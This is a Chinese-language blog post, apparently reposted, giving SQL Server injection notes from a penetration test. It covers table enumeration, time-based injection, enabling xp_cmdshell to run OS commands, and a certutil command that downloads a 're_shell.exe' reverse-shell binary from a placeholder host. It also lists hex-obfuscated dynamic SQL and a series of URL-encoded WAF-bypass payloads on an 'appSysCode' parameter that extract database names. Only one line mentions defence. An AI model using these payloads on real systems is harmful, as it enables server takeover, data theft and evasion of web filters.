如何进行SQL Server 注入的分析


这篇文章将为大家详细讲解有关如何进行SQL Server 注入的分析,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。在实习的渗透测试项目中,遇到免费云主机域名数据库系统绝大部分是SQL Server。也算是了解和熟悉Mssql 的一个重要过程吧。获取某数据库的所有表(假设库名为fooDB)–XType=’U’:表示所有用户表;–XType=’S’:表示所有系统表;SELECTname FROM fooDB..sysobjects Where xtype=’U’;获取某表所有字段名(假设表名为fooTable)SELECTname FROM SysColumns WHERE id=Object_id(‘fooTable’);延时注入SELECT* FROM fooTable WHERE id=1 WAITFOR DELAY ‘0:0:3’;2、常用内置函数db_name()– 当前库名
user– 当前用户名suser_name()– 登陆用户名3、like查询大小写敏感模式SELECT* FROM dt WHERE columnname COLLATE Chinese_PRC_CS_AS LIKE ‘aa%’; 举例分析Chinese_PRC_CS_AI_WS:前半部份:指 UNICODE字符集,Chinese_PRC_指针对大陆简体字UNICODE 的排序规则。_BIN 二进制排序_CI(CS) 是否区分大小写,CI不区分,CS区分_AI(AS) 是否区分重音,AI不区分,AS区分_KI(KS) 是否区分假名类型,KI不区分,KS区分_WI(WS) 是否区分宽度,WI不区分,WS区分4、实现limitm,n查询结果中第7 条到第 9条记录,如 MySql中的 limit 7,3selecttop 3 id from tablenamewhereid not in (selecttop 6 id from tablename)开启xp_cmdshell存储过程
EXECsp_configure ‘show advanced options’, 1;RECONFIGURE;EXECsp_configure ‘xp_cmdshell’, 1;RECONFIGURE;关闭只需将开启语句的第二个1改成0再执行即可运行命令execmaster..xp_cmdshell “whoami”;execmaster..xp_cmdshell “ping 127.0.0.1 -n 5 > nul”;execmaster..xp_cmdshell “certutil -urlcache -split -fhttp://IP/re_shell.exe D:re_shell.exe”;彻底防御xp_cmdshell方法:修复sql注入漏洞、删除xplog70.dll 组件and可用:?key=aa’+and+db_name()>1and不可用:?key=’%2buser()^1convert转换类型:?key=a’%2b(convert(int,@@version)); dEcLaRe @s vArChAr(8000) sEt@s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29eXeC(@s)– -2、有趣的绕过例子输入单引号时会报错

尝试%23和–+-的注释来判断后端数据库系统类型。语句出错的时候返回200并报错。正确的时候是302。可知为mssql。服务端对数据进行了拦截和过滤,拒绝处理请求。然而可利用varchar^int 来爆出数据。?appSysCode=’%2buser%5e1–+-
拦截有点厉害。尝试了许多select方式都不行。?appSysCode=a’%2b(select+’aaa’)–+-?appSysCode=a’%2b(select+1)%5e1–+-?appSysCode=a’%2b(convert(int,(select+’bbb’)))%5e1–+-(这里只有a报错)?appSysCode=a’%2b(convert(varchar,(select+’bbb’)))%5e1–+-(这里直接302)?appSysCode=a’%2b(convert(int,(select+’bbb’)))–+-?appSysCode=a’%3bSELECT+11–+-?appSysCode=a’%3bexec+xxxxx–+-不过还是存在规则缺陷的。?appSysCode=a’%3bselect+*+from+(select+’aaa’+as+c)+t2+where+c%5e1=0–+-

可爆出任意数据?appSysCode=a’%3bSELECT+name+FROM+master..sysdatabases+where+name%5e1%3e0+and+name+NOT+IN+(‘master’,’model’,’msdb’,’tempdb’,’northwind’,’pubs’)–+-关于如何进行SQL Server 注入的分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

相关推荐: Apache配置防盗链

如何设置防盗链,防止别人盗用图片和视频,应该如何做?1.打开虚拟主机配置文件vi /usr/local/apache2/conf/extra/httpd-vhosts.conf增加内容SetEnvIfNoCase Referer “^http://.*.tes…

免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。

(0)
打赏 微信扫一扫 微信扫一扫
上一篇 02/06 09:43
下一篇 02/06 09:43